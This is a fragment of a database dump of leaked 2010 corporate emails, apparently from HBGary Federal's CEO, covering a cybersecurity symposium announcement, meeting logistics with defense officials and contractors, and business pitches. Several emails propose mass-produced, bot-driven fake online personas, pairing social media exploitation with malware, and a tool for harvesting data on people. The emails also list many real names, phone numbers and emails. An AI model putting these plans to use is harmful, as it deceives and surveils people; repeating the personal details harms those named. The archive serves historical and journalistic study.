\r\n                          Deputy Chief of Staff G-3/5/7\r\n                          Nominated for Commanding General, Army Forces \r\n                          Cyber Command (ARFORCYBER), U.S. Army (invited)\r\n                          \r\n                          \r\n                        Brig. Gen. Greg Brundidge, USAF - \r\n                          Director, Communications &amp; Information (J6) - European \r\n                          Command (USEUCOM)  (confirmed)\r\n                          \r\n                          \r\n                        Maj. Gen. Paul F. Capasso, USAF - \r\n                          Director, Network Services, Office of Information Dominance \r\n                          &amp; CIO, U.S. Air Force  (confirmed)\r\n                      \r\n                      \r\n                    \r\n                  \r\n                  Sign-Up \r\n                    to Sponsor the Cybersecurity Symposium\r\n                  Register \r\n                    to Attend the Cybersecurity Symposium\r\n                    \r\n                  The Armed Forces Communications and Electronics \r\n                    Association’s Washington, DC Chapter (AFCEA DC) is holding \r\n                    its 2nd Annual Cybersecurity Symposium on July 8, 2010 at \r\n                    the Hilton Washington in Washington, DC. The Symposium will \r\n                    focus on the newly confirmed U.S. Cyber Command (USCYBERCOM) \r\n                    – its partners, relationships, dependencies, policies, and \r\n                    reach. Serving a mission-critical function, CYBERCOM must \r\n                    interface with all stakeholders involved in protecting the \r\n                    nation’s networks, including the five military services, Unified \r\n                    Commands/COCOMs, Department of Homeland Security (DHS), other \r\n                    civilian agencies, and industry to name a few.\r\n                   “Given the important nature of the organization \r\n                    and the relative ‘newness’ in the market, we determined a \r\n                    focus on USCYBERCOM would present an excellent educational \r\n                    opportunity for our members and attendees,” said Barbara Bridges, \r\n                    Chairperson of the Cybersecurity Symposium for AFCEA DC. “Last \r\n                    year’s Symposium drew close to 700 people, and we expect that \r\n                    number to increase in 2010. The speaker line-up that the committee \r\n                    has assembled is second to none.” (see the full line-up \r\n                    of speakers below)\r\n                   As part of the program, the Cybersecurity Symposium \r\n                    will have keynote presentations by VADM Carl V. Mauney, Deputy \r\n                    Commander, U.S. Strategic Command (USSTRATCOM) and Mr. Howard \r\n                    A. Schmidt, White House Cybersecurity Coordinator. In addition, \r\n                    the event will feature many other prominent speakers from \r\n                    government (civilian and defense), industry, and academia \r\n                    on panel sessions focused on:\r\n                  \r\n                     Reaction to Cyber Shockwave - Enter DoD &amp; CYBERCOM\r\n                    Public Private Partnerships Framework\r\n                    Standing Up USCYBERCOM\r\n                  \r\n                  “This is my second year as Chairperson for this event and \r\n                    I cannot be more excited about the program we have established \r\n                    for the 2010 campaign,” said Bridges. “Attendees are sure \r\n                    to walk away with a more detailed view on the goals and objectives \r\n                    of USCYBERCOM, as well as priorities, structure, and immediate \r\n                    requirements. The Symposium is a timely forum for the exchange \r\n                    of information in this regard.”\r\n                  AFCEA DC has a proud heritage as the oldest AFCEA regional \r\n                    point of presence in the Washington Metropolitan area. Through \r\n                    its informational activities and networking events, AFCEA \r\n                    DC offers an ethical forum for the sharing of critical information \r\n                    and insights into new and emerging technologies, as well as \r\n                    new ways to apply technology to reduce costs and improve the \r\n                    defense community’s mission performance. A not-for-profit \r\n                    organization, AFCEA DC supports one of the most robust educational \r\n                    programs in this community through its scholarship foundation, \r\n                    teachers’ grants, and educational outreach to the Washington, \r\n                    DC schools. \r\n                  For more Information Contact:\r\n                  \r\n                     \r\n                       AFCEA DC/CAPLEAD Staff, events@afceadc.org, tel: 202-701-5808 \r\n                      \r\n                    \r\n                  \r\n                  Key \r\n                    Sponsorship Slots still Available!\r\n                  &nbsp;\r\n                  \r\n                    \r\n                      Small Business Silver Sponsors: \r\n                    \r\n                    \r\n                      \r\n                    \r\n                    \r\n                      \r\n                        \r\n                          \r\n                            \r\n                            &nbsp;\r\n                            \r\n                            &nbsp;\r\n                            \r\n                          \r\n                          \r\n                            &nbsp;\r\n                            &nbsp;\r\n                            &nbsp;\r\n                            &nbsp;\r\n                            &nbsp;\r\n                          \r\n                          \r\n                            \r\n                            &nbsp;\r\n                            \r\n                            &nbsp;\r\n                            \r\n                          \r\n                          \r\n                            &nbsp;\r\n                            &nbsp;\r\n                            &nbsp;\r\n                            &nbsp;\r\n                            &nbsp;\r\n                          \r\n                          \r\n                            \r\n                            &nbsp;\r\n                            \r\n                            &nbsp;\r\n                            \r\n                          \r\n                          \r\n                            &nbsp;\r\n                            &nbsp;\r\n                            &nbsp;\r\n                            &nbsp;\r\n                            &nbsp;\r\n                          \r\n                          \r\n                            \r\n                            &nbsp;\r\n                            &nbsp;\r\n                            &nbsp;\r\n                            &nbsp;\r\n                          \r\n                          \r\n                            &nbsp;\r\n                            &nbsp;\r\n                            &nbsp;\r\n                            &nbsp;\r\n                            &nbsp;\r\n                          \r\n                          \r\n                      \r\n                    \r\n                  \r\n                  &nbsp;\r\n                &nbsp;\r\n              \r\n               \r\n                &nbsp;\r\n                &nbsp;\r\n              \r\n            \r\n            \r\n            \r\n          \r\n          \r\n            \r\n              Conference Links: \r\n            \r\n            \r\n              \r\n            \r\n            \r\n              Event \r\n                    Home Page \r\n                  Speakers \r\n                    &amp; Program\r\n                  Sponsorships\r\n                                  Individual\r\n                  Registration\r\nVenue\r\n                  &nbsp;\r\n                \r\n            \r\n          \r\n            \r\n            \r\n              \r\n                Diamond Sponsors: \r\n              \r\n              \r\n                \r\n              \r\n              \r\n                \r\n\r\n\r\n\r\n  \r\n  \r\n\r\n\r\n  \r\n  \r\n\r\n  \r\n  \r\n\r\n  \r\n\r\n\r\n  \r\n\r\n\r\n\r\n              \r\n            \r\n            \r\n            \r\n              \r\n                Premiere Sponsors: \r\n              \r\n              \r\n                \r\n              \r\n              \r\n                \r\n                  \r\n                    \r\n                      \r\n                        \r\n                    \r\n                    \r\n                      \r\n                        \r\n                    \r\n                    \r\n                      \r\n                    \r\n                    \r\n                      \r\n                    \r\n                    \r\n                      \r\n                    \r\n                    \r\n                      &nbsp;\r\n                    \r\n                  \r\n                \r\n              \r\n            \r\n            \r\n            \r\n              \r\n                Platinum Sponsors: \r\n              \r\n              \r\n                \r\n              \r\n              \r\n                \r\n                    \r\n                      \r\n                        \r\n                      \r\n                      \r\n                        \r\n                      \r\n                      \r\n                        \r\n                      \r\n                      \r\n                        \r\n                      \r\n                      \r\n                        \r\n                      \r\n                      \r\n                        \r\n                      \r\n                      \r\n                        \r\n                      \r\n                      \r\n                        \r\n                      \r\n                      \r\n                        \r\n                      \r\n                      \r\n                        \r\n                      \r\n                      \r\n                        \r\n                      \r\n                      \r\n                        \r\n                      \r\n                      \r\n                        \r\n                        \r\n                      \r\n                      \r\n                        \r\n                      \r\n                      \r\n                        \r\n                      \r\n                      \r\n                        \r\n                      \r\n                      \r\n                        \r\n                      \r\n                    \r\n                \r\n              \r\n            \r\n            \r\n            \r\n              \r\n                Gold Sponsors: \r\n              \r\n              \r\n                \r\n              \r\n              \r\n                \r\n                    \r\n                      \r\n                        \r\n                      \r\n                      \r\n                        \r\n                      \r\n                      \r\n                        \r\n                      \r\n                      \r\n                        \r\n                      \r\n                      \r\n                        \r\n                      \r\n                      \r\n                        \r\n                        \r\n                      \r\n                      \r\n                        \r\n                      \r\n                      \r\n                        \r\n                      \r\n                    \r\n                \r\n              \r\n          \r\n          \r\n          \r\n        \r\n      \r\n  \r\n   \r\n    \r\n  \r\n   \r\n    \r\n  \r\n   \r\n    \r\n         \r\n             Armed Forces Communications and Electronics Association \r\n              of Washington, D.C.\r\n              1220 L St., NW, Suite 100-407, Washington, D.C. 20005-4018\r\n              info@afceadc.org&nbsp;&nbsp; \r\n              |&nbsp;&nbsp; tel: 202-701-5808&nbsp;&nbsp; |&nbsp;&nbsp; fax: 202-330-5012\r\n            \r\n            \r\n        \r\n        \r\n          &nbsp;\r\n            AFCEA NOVA Management by an amazing team of Volunteers, \r\n              supported by : CAPLEAD | info@caplead.com\r\n            \r\n        \r\n      \r\n  \r\n\r\n\r\nClick Here to be removed from this list\r\n\r\n\r\n',1165,'aaron_hbgary_com/1165.html'),(8141,'2010-07-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006347.M891272P14101Q2996.eml','\"Penny Leavy\" <penny@hbgary.com>','Meeting next week','Where is it?  The meeting with Irv and Ray.\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n',4008,'aaron_hbgary_com/4008.html'),(8142,'2010-07-02','\"Merritt, David CTR OSD CIO\" <David.Merritt.ctr@osd.mil>','/aaron@hbgary.com/new/1297006348.M115580P14101Q2997.eml','\"aaron@hbgary.com\" <aaron@hbgary.com>','Re: Accepted: Invitation: Dave Merritt @ Wed Jul 7 7pm - 8pm 	(david.merritt.ctr@osd.mil)','The more the merrier!\r\n\r\n--------------------------\r\nDavid D. Merritt, CISSP, CISM, ITIL\r\nOffice of the Secretary of Defense\r\n703.699.3568\r\n\r\n\r\n----- Original Message -----\r\nFrom: Aaron Barr \r\nTo: Merritt, David CTR OSD CIO\r\nSent: Thu Jul 01 20:15:07 2010\nSubject: Re: Accepted: Invitation: Dave Merritt @ Wed Jul 7 7pm - 8pm 	(david.merritt.ctr@osd.mil)\r\n\r\nDave,\r\n\r\nJust found out Greg is going to be in town wed. Night.  Do you want\r\nhim to join us or just me?\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n\r\nOn Jul 1, 2010, at 2:52 PM, \"Merritt, David CTR OSD CIO\"\r\n wrote:\r\n\r\n> \r\n',5724,'aaron_hbgary_com/5724.html'),(8143,'2010-07-02','\"Merritt, David CTR OSD CIO\" <David.Merritt.ctr@osd.mil>','/aaron@hbgary.com/new/1297006348.M556133P14101Q2998.eml','\"aaron@hbgary.com\" <aaron@hbgary.com>','Re: Accepted: Invitation: Dave Merritt @ Wed Jul 7 7pm - 8pm 	(david.merritt.ctr@osd.mil)','By any chance, do you all hold clearances?\r\n\r\nThere\'s no scif at the tap room, just thinking ahead.\r\n\r\n--------------------------\r\nDavid D. Merritt, CISSP, CISM, ITIL\r\nOffice of the Secretary of Defense\r\n703.699.3568\r\n\r\n\r\n----- Original Message -----\r\nFrom: Aaron Barr \r\nTo: Merritt, David CTR OSD CIO\r\nSent: Thu Jul 01 20:15:07 2010\nSubject: Re: Accepted: Invitation: Dave Merritt @ Wed Jul 7 7pm - 8pm 	(david.merritt.ctr@osd.mil)\r\n\r\nDave,\r\n\r\nJust found out Greg is going to be in town wed. Night.  Do you want\r\nhim to join us or just me?\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n\r\nOn Jul 1, 2010, at 2:52 PM, \"Merritt, David CTR OSD CIO\"\r\n wrote:\r\n\r\n> \r\n',3964,'aaron_hbgary_com/3964.html'),(8144,'2010-07-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006348.M797471P14101Q2999.eml','\"Merritt, David CTR OSD CIO\" <David.Merritt.ctr@osd.mil>','Re: Accepted: Invitation: Dave Merritt @ Wed Jul 7 7pm - 8pm 	(david.merritt.ctr@osd.mil)','I am community cleared as well as some others of the hbgary fed staff.\r\n None of the hbgary Inc folks are cleared, including Greg.\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n\r\nOn Jul 1, 2010, at 8:35 PM, \"Merritt, David CTR OSD CIO\"\r\n wrote:\r\n\r\n> By any chance, do you all hold clearances?\r\n>\r\n> There\'s no scif at the tap room, just thinking ahead.\r\n>\r\n> --------------------------\r\n> David D. Merritt, CISSP, CISM, ITIL\r\n> Office of the Secretary of Defense\r\n> 703.699.3568\r\n>\r\n>\r\n> ----- Original Message -----\r\n> From: Aaron Barr \r\n> To: Merritt, David CTR OSD CIO\r\n> Sent: Thu Jul 01 20:15:07 2010\r\n> Subject: Re: Accepted: Invitation: Dave Merritt @ Wed Jul 7 7pm - 8pm 	(david.merritt.ctr@osd.mil)\r\n>\r\n> Dave,\r\n>\r\n> Just found out Greg is going to be in town wed. Night.  Do you want\r\n> him to join us or just me?\r\n>\r\n> Aaron\r\n>\r\n> Sent from my iPad\r\n>\r\n> On Jul 1, 2010, at 2:52 PM, \"Merritt, David CTR OSD CIO\"\r\n>  wrote:\r\n>\r\n>> \r\n',1127,'aaron_hbgary_com/1127.html'),(8145,'2010-07-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006349.M272764P14101Q3001.eml','\"Shows, Bob (IS)\" <rj.shows@ngc.com>','Re: EXTERNAL:Re: Update','Bob,\r\n\r\nGood to hear from you.  Defense is hopeless.  Sad thing is adequate defense is available technologically, that is what really burns me.  Offense, aggressive offense in my opinion is the only way was can hope to change some of this game in the near future.  Look forward to catching up.\r\n\r\n719.510.8478 is the best way to reach me.\r\n\r\nAaron\r\n\r\nOn Jul 1, 2010, at 11:38 AM, Shows, Bob (IS) wrote:\r\n\r\n> Great to hear from you--I brag about your efforts often.  Cyber across\r\n> NGC is evolving in different ways.  The money just isn\'t there in the\r\n> Air Force--our nation cannot agree how to best address.  It may take a\r\n> Cyber 9-11 to get our attention.  \r\n> \r\n> I am working closely with Gib on a variety of issues--your social\r\n> networks program will be something of value that can be used &\r\n> leveraged--looking to make that connection soon. \r\n> \r\n> My B\'berry dumped many phone numbers, including yours!  Would you please\r\n> send me your work & mobile numbers?\r\n> \r\n> Cheers, \r\n> \r\n> Robert \'Bob\' Shows \r\n> USAF Account Team NGIS/DSD\r\n> Northrop Grumman Corporation \r\n> 310.210.2549 \r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Thursday, July 01, 2010 7:42 AM\r\n> To: Godwin, Gib (IS)\r\n> Cc: Shows, Bob (IS)\r\n> Subject: EXTERNAL:Re: Update\r\n> \r\n> Gib,\r\n> \r\n> The training course won\'t be fully done for a few weeks.  So depends\r\n> on what you want.  If you want to attend the course I would say we are\r\n> at least a month off (filling seats, etc.) and I can let you know when\r\n> the first course will be.\r\n> \r\n> If you want to have a discussion about the material, our approach,\r\n> potential for wrapping it inside of a larger offering you might have.\r\n> We could do that as soon as next week if you want.  I can give you a\r\n> real good feel for what will be in the course.\r\n> \r\n> Aaron\r\n> \r\n> Sent from my iPad\r\n> \r\n> On Jul 1, 2010, at 8:11 AM, \"Godwin, Gib (IS)\" \r\n> wrote:\r\n> \r\n>> When are you going to give that social media session so I can get a\r\n> look at\r\n>> what you say.\r\n>> Gib\r\n>> \r\n>> JB Godwin III\r\n>> Northrop Grumman, Information Systems\r\n>> Defense Systems Division\r\n>> Vice President, Cybersecurity and Systems Integration\r\n>> 2340 Dulles Corner Blvd\r\n>> Herndon, VA 20171\r\n>> \r\n>> (o) 703.561.4610\r\n>> (m)703.201.2543\r\n>> james.godwin@ngc.com\r\n>> \r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>> Sent: Wednesday, June 30, 2010 11:01 AM\r\n>> To: Shows, Bob (IS)\r\n>> Cc: Godwin, Gib (IS)\r\n>> Subject: Update\r\n>> \r\n>> Hi Bob,\r\n>> \r\n>> Checking in to see how things are going and give you an update on our\r\n>> capabilities.  See attached datasheet on our general information\r\n> security\r\n>> services offerings.\r\n>> \r\n>> Where I have been focused recently is on social media.  With the\r\n> recent DoD\r\n>> directive that open .mil to social media access there seems to be a\r\n> lot of\r\n>> anxiety, and there should be.  I gave a presentation a few weeks ago\r\n> at the\r\n>> NSA REBL conference on Social Media, Exploitation and Persistent\r\n> Internet\r\n>> Operations.  I was flooded with questions and was told it was one of\r\n> the\r\n>> highlights of the conference by the conference coordinator.\r\n>> \r\n>> We are in the process of developing a 1 day Social Media training\r\n> course to\r\n>> familiarize organizations with the social media landscape, uses,\r\n> risks, use\r\n>> cases, and information monitoring techniques.  We are also talking\r\n> with a\r\n>> few red teams on helping them develop social media capabilities in\r\n> their Red\r\n>> Team engagements.\r\n>> \r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',4602,'aaron_hbgary_com/4602.html'),(8146,'2010-07-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006349.M31405P14101Q3000.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,','Drinks wed night 7pm in Reston','Greg,\r\n\r\nI am getting together with the OSD CIO Wednesday in Reston for drinks\r\nand was wondering if your free to join us?\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n',10955,'aaron_hbgary_com/10955.html'),(8147,'2010-07-02','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297006349.M498812P14101Q3002.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,','Re: Drinks wed night 7pm in Reston','Would be awesome assuming I\'m not dbl booked.  I\'m a doll ATM under\r\nthe control of penny so I have no idea what will the she-panther has\r\nfor me that time.\r\n\r\n-Greg\r\n\r\n\r\nOn Thursday, July 1, 2010, Aaron Barr  wrote:\r\n> Greg,\r\n>\r\n> I am getting together with the OSD CIO Wednesday in Reston for drinks\r\n> and was wondering if your free to join us?\r\n>\r\n> Aaron\r\n>\r\n> Sent from my iPad\r\n>\r\n',15299,'aaron_hbgary_com/15299.html'),(8148,'2010-07-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006349.M770965P14101Q3003.eml','\"Greg Hoglund\" <greg@hbgary.com>','Re: Drinks wed night 7pm in Reston','HA! ok I will wait to hear.\r\n\r\nOn Jul 2, 2010, at 12:01 AM, Greg Hoglund wrote:\r\n\r\n> Would be awesome assuming I\'m not dbl booked.  I\'m a doll ATM under\r\n> the control of penny so I have no idea what will the she-panther has\r\n> for me that time.\r\n> \r\n> -Greg\r\n> \r\n> \r\n> On Thursday, July 1, 2010, Aaron Barr  wrote:\r\n>> Greg,\r\n>> \r\n>> I am getting together with the OSD CIO Wednesday in Reston for drinks\r\n>> and was wondering if your free to join us?\r\n>> \r\n>> Aaron\r\n>> \r\n>> Sent from my iPad\r\n>> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',11604,'aaron_hbgary_com/11604.html'),(8149,'2010-07-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006350.M265530P14101Q3005.eml','\"Greg Hoglund\" <greg@hbgary.com>','Re: Game Hacking / Botting Talk (Josh, a friend of Greg\'s)','Do you have a copy?  Does Blackhat/Defcon give a reason for being declined?\r\n\r\nAny and all content you have around social media exploitation I would love to read.\r\n\r\nGoing back to a conversation about competing with Anonymizer.\r\n\r\nA huge missing piece of their offering is the personas.  They can do the management of multiple personas to consistent digital fingerprints, but what they don\'t do is manage the persona content, create the content.\r\n\r\nLets say you need a persona or two to perform an operation, you just can\'t create a digital entity that purports to be of X profession, with X job experience, etc. and then move out.  You have to plan for success, which means at some point someone is going to notice you and \"google\" you.  Someone needs to build a capability to create personas and maintain them in mass, so if someone needs an SW engineer that has worked in X industry - no problem.  But this is somewhat of a cart before the horse.  As a government we also don\'t have enough people yet that are comfortable operationally and competent technically.\r\n\r\nWhat would this capability entail.  Each persona would have a set of characteristics.  Based on those characteristics the persona would be involved in certain online activities, communicate in certain ways, etc.  Much of this would need to be botted out.\r\n\r\nAaron\r\n\r\n\r\n\r\nOn Jun 30, 2010, at 12:49 PM, Greg Hoglund wrote:\r\n\r\n>  \r\n> Aaron,\r\n>  \r\n> Josh, a friend of mine who now works at Kaspersky, wanted to pitch a game hacking talk at Defcon this year.  Josh has many years experience developing and selling \"back office\" bots to large scale chinese gold farming operations.  So, he knows the business as well as the tech, and has alot of war stories about botting wow over the years.  I joined up with him and we put a co-presentation together for Blackhat and Defcon both, and both talks were declined.  I think this talk has a great amount of value, however - especially considering your recent decision to grow the marketing around social media exploitation. \r\n>  \r\n> -Greg\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',10360,'aaron_hbgary_com/10360.html'),(8150,'2010-07-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006350.M44389P14101Q3004.eml','\"Greg Hoglund\" <greg@hbgary.com>','Re: My \"Faster Massive Immersive\" talk','Greg,\r\n\r\nI love this presentation.  We are thinking in the same path.  Hopefully we get a chance to talk some next week about social media.  I am working to play up some of the defensive offerings, training, consulting to help organizations better understand the threat, but where I really want to play is offense using social media.\r\n\r\nWhat I would like to do is figure out a talk we can give together, where I can give the social media side and you can give the exploitation side.  Human exploitation continues to be the easiest vector, thats obvious.  What people don\'t understand is how easy the explosion of social media makes it, and on a global scale.  Combine an automated social media exploitation capability with some new effective malware and you would have something very nasty, combine that with some innovative C&C that would bounce back and forth between IP and neurons and it could be devastatingly persistent.  (BTW, I would like to do a talk that has a live component at some point).  From social recon to exploitation.\r\n\r\nAs a nation we are not prepared for the evolution of technology, I know we never have been but its out of control.  I don\'t think I am being chicken little, we aren\'t going to get a handle on it.  I want to focus on offense not just because its fun but because I think its the only thing that has a chance of being effective on the big scale.\r\n\r\nLook forward to next week.\r\n\r\nAaron\r\n\r\n\r\n\r\nOn Jun 30, 2010, at 1:08 PM, Greg Hoglund wrote:\r\n\r\n>  \r\n> Aaron,\r\n>  \r\n> Attached is a talk I gave at the emerging tech conference and the CIA, and then later pitched it to REBL (might have been last year\'s) - I had to cancel the REBL talk at the last minute however.  Attached is the REBL version but it\'s basically the same.  I pitched it to blackhat two years in a row, and was declined two years in a row.  I also gave this talk at CSU out in the springs (I think Ted was there for that).  The talk was extremely well received in all venues.  We might be able to make a variation of this talk, updated w/ some of your social media knowledge, and continue to work it as a markting effort.  I would be willing to give the talk to help you guys, or can go over some of it if you want to steal parts of it for your own presentations.\r\n>  \r\n> -Greg\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',14571,'aaron_hbgary_com/14571.html'),(8151,'2010-07-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006350.M499495P14101Q3006.eml','\"Chris Clair\" <CHRISTOPHER.CLAIR@tasc.com>,\"Chris Clair\" <CHRISTOPHER.CLAIR@tasc.com>','ATT','Chris,\r\n\r\nATT.  I think we should try to engage ATT, at least get a scif meeting where we can see what they are willing to do.  I have some thoughts and questions that if they answer yes to could really help out our infrastructure capability.  I will work Google and Apple if you can work ATT and that other company whos name I gave you a while back, strategic intelligence or something similar.\r\n\r\nHave a good 4th.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',15282,'aaron_hbgary_com/15282.html'),(8152,'2010-07-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006350.M702223P14101Q3007.eml','mbradshaw@google.com','Discussion','Mike,\r\n\r\nI got your contact information from Scott Suhy.  I am putting together a team for a government effort and would like to discuss with you the possibilities of Google joining the team.  If interested please let me know when would be a good time to discuss.\r\n\r\nHappy 4th,\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',6884,'aaron_hbgary_com/6884.html'),(8153,'2010-07-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006351.M108994P14101Q3008.eml','jd@apple.com','Discussion','Hi JD,\r\n\r\nI got your contact information from Scott Suhy from PointAbout.  I am putting together a team for a government proposal and would like to talk with you about Apple possibly joining the team.  If interested please let me know some convenient times to get together and discuss.\r\n\r\nHappy 4th,\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',13702,'aaron_hbgary_com/13702.html'),(8154,'2010-07-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006351.M336628P14101Q3009.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','Tool Thoughts','A far reaching tool would have some of the following functions:\r\n\r\nCollect the following data.\r\n\r\nOn organizations:\r\nJob Boards\r\nOpportunity Boards\r\nBusiness forums or new feeds for partnerships, wins, etc.\r\n\r\nOn People\r\nPersonal sites\r\nSocial Media\r\n\r\nTry to make correlations of personal and organizational movements based on information.  So FBO posts opportunity, we harvest requirements, dates.  We have database of what companies have what skillsets, programs.  This gets refined by wins.  Job Requisition boards note skillsets required and place of employment and makes some correlations to programs.  Some of this gets justified against publicized wins.... you get the point.\r\n\r\nThis would also be an amazing competitive intelligence tool that we could sell our services to organizations.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',12760,'aaron_hbgary_com/12760.html'),(8155,'2010-07-02','\"Eifert, Eric J.\" <Eric.Eifert@ManTech.com>','/aaron@hbgary.com/new/1297006351.M595972P14101Q3010.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: Meeting on Wednesday','Aaron, I was gone this past Wed, I am back in the office next week and have you on my calendar.  I invited some of Bob\'s folks to this meeting as well so it is still a go.\r\n\r\nThanks,\r\n\r\nEric J. Eifert\r\nVice President, Cyber Defense Business Unit\r\nManTech Mission, Cyber and Technology Solutions\r\n(direct) 703-388-2127   (cell) 703-966-9998   (fax) 703-388-2148\r\n\r\n**PROPRIETARY & COMPANY-CONFIDENTIAL**\r\nThis email and the contents of this email (including any attachments) are company-confidential and/or proprietary.  Unless you are the addressee (or authorized to receive for the addressee), you may not use, copy, disclose or distribute this email or any of the contents of this email.  If you received this email in error, please promptly notify the sender by reply email and delete this email from your records.  Thank you.\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Thursday, July 01, 2010 3:13 PM\r\nTo: Eifert, Eric J.\r\nCc: Frisbie, Robert P\r\nSubject: Meeting on Wednesday\r\n\r\nEric,\r\n\r\nI understand your going to be out of town on Wednesday.  I have a later meeting with Bob Frisbie.  Do you want to reschedule or is there someone else that would be good for me to meet with?  I am hearing from Bob Slapnik, our IC and DIB sales manager, that he is working with someone in your organization to integrate Active Defense into an IRAD.  If you have not seen Active Defense it would be worth a demo.  HBGary Federal is taking over the development of our Threat Management Center to build a more consolidated threat intelligence capability and partnering with SecDev to combine datasets.\r\n\r\nSorry if this is spam but I do not see in my outbox that I sent this to you.  Attached is our general Information Security Services offerings.\r\n\r\nI am working on our Social Media services offerings which is focused on a 1 day familiarization course of social media (uses, risks, use cases, protective measures), and a social media security consulting service with an information exposure services offering.  We have a lot of experience is social media, as Bob can attest, mostly on the offensive side, which gives us a pretty good vantage point on how to better defend or at least monitor.\r\n\r\nI am also working on a more targeted customer white paper that explains what we have to offer on the offensive side, including how we can help red teams perform information reconnaissance and pen testing using social media.\r\n\r\nI will send the social media services marketing sheet when its finished.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',12558,'aaron_hbgary_com/12558.html'),(8156,'2010-07-02','\"Robinson, Cassie\" <Cassie.Robinson@ngc.com>','/aaron@hbgary.com/new/1297006351.M852231P14101Q3011.eml','\"Aaron Barr\" <aaron@hbgary.com>','Lunch location','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron &#8211; we never came up with a location.&nbsp; How about\r\nthe McCormick and Schmicks at Tysons?&nbsp; \r\n\r\n&nbsp;\r\n\r\nCassie Robinson | Northrop Grumman Corporation\r\nIntelligence Integrated Customer Team\r\ntel 703-741-7781 | 1000 Wilson Blvd &nbsp;| Suite 2300\r\n&nbsp;| Arlington, VA 22209\r\n&nbsp;\r\nTake a chance! All life is a chance. The man who goes furthest is generally the\r\none who is willing to do and dare. \r\nDale Carnegie\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15984,'aaron_hbgary_com/15984.html'),(8157,'2010-07-02','\"Frisbie, Robert P\" <Robert.Frisbie@ManTech.com>','/aaron@hbgary.com/new/1297006352.M76036P14101Q3012.eml','\"Eifert, Eric J.\" <Eric.Eifert@ManTech.com>,aaron@hbgary.com','Re: Meeting on Wednesday','Aaron \r\n\r\nYou and I still need to meet wen in the scif.\r\n\r\nHave a great weekend.\r\n\r\nBob\r\n\r\n----- Original Message -----\r\nFrom: Eifert, Eric J.\r\nTo: Aaron Barr \r\nCc: Frisbie, Robert P\r\nSent: Fri Jul 02 09:52:47 2010\r\nSubject: RE: Meeting on Wednesday\r\n\r\nAaron, I was gone this past Wed, I am back in the office next week and have you on my calendar.  I invited some of Bob\'s folks to this meeting as well so it is still a go.\r\n\r\nThanks,\r\n\r\nEric J. Eifert\r\nVice President, Cyber Defense Business Unit\r\nManTech Mission, Cyber and Technology Solutions\r\n(direct) 703-388-2127   (cell) 703-966-9998   (fax) 703-388-2148\r\n\r\n**PROPRIETARY & COMPANY-CONFIDENTIAL**\r\nThis email and the contents of this email (including any attachments) are company-confidential and/or proprietary.  Unless you are the addressee (or authorized to receive for the addressee), you may not use, copy, disclose or distribute this email or any of the contents of this email.  If you received this email in error, please promptly notify the sender by reply email and delete this email from your records.  Thank you.\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Thursday, July 01, 2010 3:13 PM\r\nTo: Eifert, Eric J.\r\nCc: Frisbie, Robert P\r\nSubject: Meeting on Wednesday\r\n\r\nEric,\r\n\r\nI understand your going to be out of town on Wednesday.  I have a later meeting with Bob Frisbie.  Do you want to reschedule or is there someone else that would be good for me to meet with?  I am hearing from Bob Slapnik, our IC and DIB sales manager, that he is working with someone in your organization to integrate Active Defense into an IRAD.  If you have not seen Active Defense it would be worth a demo.  HBGary Federal is taking over the development of our Threat Management Center to build a more consolidated threat intelligence capability and partnering with SecDev to combine datasets.\r\n\r\nSorry if this is spam but I do not see in my outbox that I sent this to you.  Attached is our general Information Security Services offerings.\r\n\r\nI am working on our Social Media services offerings which is focused on a 1 day familiarization course of social media (uses, risks, use cases, protective measures), and a social media security consulting service with an information exposure services 